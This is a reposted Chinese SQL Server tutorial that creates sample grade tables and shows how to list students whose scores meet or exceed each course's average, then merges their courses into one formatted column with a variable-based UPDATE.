查询成绩>=该课程平均成绩的信息，并按格式输出

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>有原帖（ http://community.csdn.net/Expert/topic/3465/3465915.xml?temp=.1808893 ）所想到的

构造测试数据：

create   table  Sc(SNO  char ( 7 ),CNO  char ( 6 ),GRADE  dec ( 5 , 1 ))
insert  Sc  select
' 9104421 ' , ' CS-110 ' , 91.0   union   all   select     
' 9104421 ' , ' EE-201 ' , 100.0   union   all   select        
' 9208123 ' , ' EE-122 ' , 91.0   union   all   select        
' 9208123 ' , ' EE-201 ' , 83.0   union   all   select        
' 9209120 ' , ' CS-221 ' , 0.0   union   all   select        
' 9309119 ' , ' CS-110 ' , 72.0   union   all   select        
' 9309119 ' , ' CS-201 ' , 65.0   union   all   select        
' 9309203 ' , ' CS-110 ' , 82.0   union   all   select        
' 9309203 ' , ' CS-201 ' , 80.0   union   all   select        
' 9309203 ' , ' EE-201 ' , 75.0

create   table  Student(SNO  char ( 7 ),SNAME  char ( 10 ))
insert  Student  select        
' 9104421 ' , ' 周远平 '   union   all   select        
' 9208123 ' , ' 王义平 '   union   all   select            
' 9209120 ' , ' 王大力 '   union   all   select        
' 9309119 ' , ' 李维 '   union   all   select        
' 9309203 ' , ' 欧阳美林 '   

查询出成绩>=平均成绩的信息：
注意：这里把数据插入到中间表 #t1，目的是下一步使用 ^_^

-- 查询：
select  a.SNO,a.SNAME,a.CNO,a.GRADE,b.平均成绩 
into  #t1
from
(
select  b.SNO,a.SNAME,b.CNO,b.GRADE
from  Student a  right   outer   join  Sc b  on
a.SNO  =  b.SNO ) a 
inner   join  
( select  cno,平均成绩 = convert ( dec ( 5 , 1 ), avg (a.GRADE))  from  sc a  group   by  cno) b  on  a.cno = b.cno
where  a.grade >= b.平均成绩

select   *   from  #t1

显示结果：



构造特殊的输出格式：
注意：之所以创建中间表#t，是为了增加一个大一点的字段，我这里是 a varchar(800)。
目的就是这个字段可以放下综合信息，也就是科目名称、成绩、平均成绩。

create   table  #t (sno  varchar ( 8 ),sname  varchar ( 8 ),cno  varchar ( 6 ),grade  varchar ( 8 ),avg_grade  varchar ( 8 ),a  varchar ( 800 ))
insert   into  #t
select  a.sno,a.sname,a.cno,a.grade,a.平均成绩 , '' from  #t1 a

declare  @s  varchar ( 100 ),@i  varchar ( 50 )
set  @s = ''
set  @i = ' 0 '
update  #t
set  @s =   case   when  @i = sname  then  @s + ' , ' + cno + '  [ '   + grade + ' / ' + avg_grade + ' ] '   else  cno + '  [ ' + grade + ' / ' + avg_grade + ' ] '   end
     ,@i = sname,sname = @i,a = @s

select  学号 = sno,姓名 = sname, ' 科目[成绩/该科平均成绩] ' = max (a)  from  #t
group   by  sname,sno
order   by  sno

显示结果：



文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>